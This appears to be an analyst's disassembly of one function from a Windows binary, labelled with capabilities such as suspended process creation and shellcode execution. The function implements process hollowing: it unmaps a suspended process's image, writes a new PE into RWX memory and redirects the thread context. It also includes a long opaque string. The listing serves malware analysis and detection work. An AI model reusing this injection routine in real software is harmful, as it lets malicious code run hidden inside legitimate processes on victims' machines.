Function at 0x402c70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413066
mov eax, dword fs:[0]
push eax
sub esp, 0x928
mov eax, dword [0x4370a0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x864], ecx
push 0x400
lea eax, [ebp - 0x810]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x884], ecx
mov edx, dword [ebp - 0x884]
movzx eax, word [edx]
cmp eax, 0x5a4d
je 0x402cdf
xor al, al
jmp 0x40316a
push str.IMAGE_DOS_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov ecx, dword [ebp - 0x884]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x868], edx
mov eax, dword [ebp - 0x868]
cmp dword [eax], 0x4550
je 0x402d16
xor al, al
jmp 0x40316a
push str.IMAGE_NT_SIGNATURE
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
push 0x44
push 0
lea ecx, [ebp - 0x858]
push ecx
call fcn.00408680
add esp, 0xc
push 0x10
push 0
push 0x439224
call fcn.00408680
add esp, 0xc
push 1
lea ecx, [ebp - 0x814]
call fcn.00403190
lea ecx, [ebp - 0x814]
call fcn.00403e20
mov dword [ebp - 4], 0
push 0x420714
lea ecx, [ebp - 0x814]
call fcn.00403fa0
mov edx, dword [ebp + 0xc]
push edx
lea ecx, [ebp - 0x814]
call fcn.00403fa0
lea ecx, [ebp - 0x814]
call fcn.00403fd0
mov dword [ebp - 0x8a8], eax
lea ecx, [ebp - 0x814]
call fcn.00401180
push eax
lea ecx, [ebp - 0x934]
call fcn.00404210
mov dword [ebp - 0x898], eax
mov eax, dword [ebp - 0x898]
mov dword [ebp - 0x894], eax
mov byte [ebp - 4], 1
push 0x439224
lea ecx, [ebp - 0x858]
push ecx
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp - 0x894]
call fcn.00401180
push eax
call fcn.0040876a
add esp, 4
push eax
lea edx, [ebp - 0x810]
push edx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x8a0], eax
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x934]
call fcn.00404240
cmp dword [ebp - 0x8a0], 0
je 0x40314b
push str.CREATE_SUSPENDED
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov dword [ebp - 0x86c], 0
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x86c]
mov dword [eax], 0x10007
mov ecx, dword [ebp - 0x86c]
push ecx
mov edx, dword [0x439228]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x40314b
push 0x4212e8
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
push 0
push 4
lea eax, [ebp - 0x85c]
push eax
mov ecx, dword [ebp - 0x86c]
mov edx, dword [ecx + 0xa4]
add edx, 8
push edx
mov eax, dword [0x439224]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x4212fc
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov ecx, dword [ebp - 0x868]
mov edx, dword [ebp - 0x85c]
cmp edx, dword [ecx + 0x34]
jne 0x402edc
mov byte [ebp - 0x85d], 1
jmp 0x402ee3
mov byte [ebp - 0x85d], 0
mov al, byte [ebp - 0x85d]
mov byte [ebp - 0x86d], al
movzx ecx, byte [ebp - 0x86d]
test ecx, ecx
je 0x402f43
mov edx, dword [0x439224]
mov dword [ebp - 0x89c], edx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x88c], eax
push str.ZwUnmapViewOfSection
mov eax, dword [ebp - 0x88c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x890], eax
mov ecx, dword [ebp - 0x85c]
push ecx
mov edx, dword [ebp - 0x89c]
push edx
call dword [ebp - 0x890]
push 0x42133c
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov dword [ebp - 0x874], 0
push 0x40
push 0x3000
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x50]
push ecx
mov edx, dword [ebp - 0x868]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [0x439224]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x874], 0
je 0x40314b
mov edx, dword [ebp + 8]
mov dword [ebp - 0x8ac], edx
mov dword [ebp - 0x8b0], str.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
push 0
mov eax, dword [ebp - 0x868]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x874]
push eax
mov ecx, dword [0x439224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x87c], 0
jmp 0x402fea
mov edx, dword [ebp - 0x87c]
add edx, 1
mov dword [ebp - 0x87c], edx
mov eax, dword [ebp - 0x868]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x87c], ecx
jge 0x403055
mov edx, dword [ebp - 0x87c]
imul edx, edx, 0x28
add edx, dword [ebp + 8]
mov eax, dword [ebp - 0x884]
mov ecx, dword [eax + 0x3c]
lea edx, [edx + ecx + 0xf8]
mov dword [ebp - 0x888], edx
push 0
mov eax, dword [ebp - 0x888]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 0x888]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 0x888]
mov edx, dword [ebp - 0x874]
add edx, dword [ecx + 0xc]
push edx
mov eax, dword [0x439224]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x402fdb
push 0
push 4
mov ecx, dword [ebp - 0x868]
add ecx, 0x34
push ecx
mov edx, dword [ebp - 0x86c]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [0x439224]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.WriteProcessMemory2
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov edx, dword [ebp - 0x868]
mov eax, dword [ebp - 0x874]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp - 0x86c]
mov dword [ecx + 0xb0], eax
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x878], eax
mov dword [ebp - 0x880], 0
cmp dword [ebp - 0x878], 0
je 0x4030e7
push str.SetThreadContext
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x880], eax
cmp dword [ebp - 0x880], 0
je 0x403104
mov eax, dword [ebp - 0x86c]
push eax
mov ecx, dword [0x439228]
push ecx
call dword [ebp - 0x880]
cmp dword [ebp - 0x878], 0
je 0x40311a
mov edx, dword [ebp - 0x878]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.va_a_lanzar
mov ecx, dword [ebp - 0x864]
call fcn.00402a40
mov byte [ebp - 0x86f], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00403f60
mov al, byte [ebp - 0x86f]
jmp 0x40316a
mov byte [ebp - 0x86e], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.00403f60
mov al, byte [ebp - 0x86e]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405b6d
mov esp, ebp
pop ebp
ret 8